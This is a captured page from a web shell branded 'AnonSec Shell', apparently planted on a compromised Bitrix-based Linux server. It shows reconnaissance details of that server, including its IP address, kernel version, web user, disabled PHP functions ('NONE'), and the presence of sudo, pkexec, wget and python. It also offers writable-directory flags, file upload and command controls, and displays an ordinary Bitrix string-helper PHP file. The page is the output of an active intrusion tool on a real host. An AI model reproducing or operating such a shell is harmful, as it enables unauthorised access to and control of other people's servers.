AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.219.180.175
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/main/lib/text/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/main/lib/text/stringhelper.php
<?php
/**
 * Bitrix Framework
 * @package    bitrix
 * @subpackage main
 * @copyright  2001-2018 Bitrix
 */

namespace Bitrix\Main\Text;

/**
 * String functions
 * @package    bitrix
 * @subpackage main
 */
class StringHelper
{
	/**
	 * Regular uppercase with result cache
	 *
	 * @param $str
	 *
	 * @return mixed
	 */
	public static function strtoupper($str)
	{
		static $cache;

		if (empty($cache[$str]))
		{
			$cache[$str] = mb_strtoupper($str);
		}

		return $cache[$str];
	}

	/**
	 * Changes registry from CamelCase to snake_case
	 *
	 * @param $str
	 *
	 * @return string
	 */
	public static function camel2snake($str)
	{
		return mb_strtolower(preg_replace('/(.)([A-Z])/', '$1_$2', $str));
	}

	/**
	 * Changes registry from snake_case or SNAKE_CASE to CamelCase
	 *
	 * @param $str
	 *
	 * @return mixed
	 */
	public static function snake2camel($str)
	{
		$str = str_replace('_', ' ', mb_strtolower($str));
		return str_replace(' ', '', ucwords($str));
	}

	/**
	 * Compatible with php 8 for nested arrays. Only the first level of the array is processed.
	 *
	 * @param mixed $search
	 * @param mixed $replace
	 * @param mixed $str
	 * @return mixed
	 */
	public static function str_replace($search, $replace, $str)
	{
		if (is_array($str))
		{
			foreach ($str as $key => $value)
			{
				if (is_scalar($value))
				{
					$str[$key] = str_replace($search, $replace, $value);
				}
			}
		}
		elseif (is_scalar($str))
		{
			$str = str_replace($search, $replace, $str);
		}

		return $str;
	}
}

Anon7 - 2022
AnonSec Team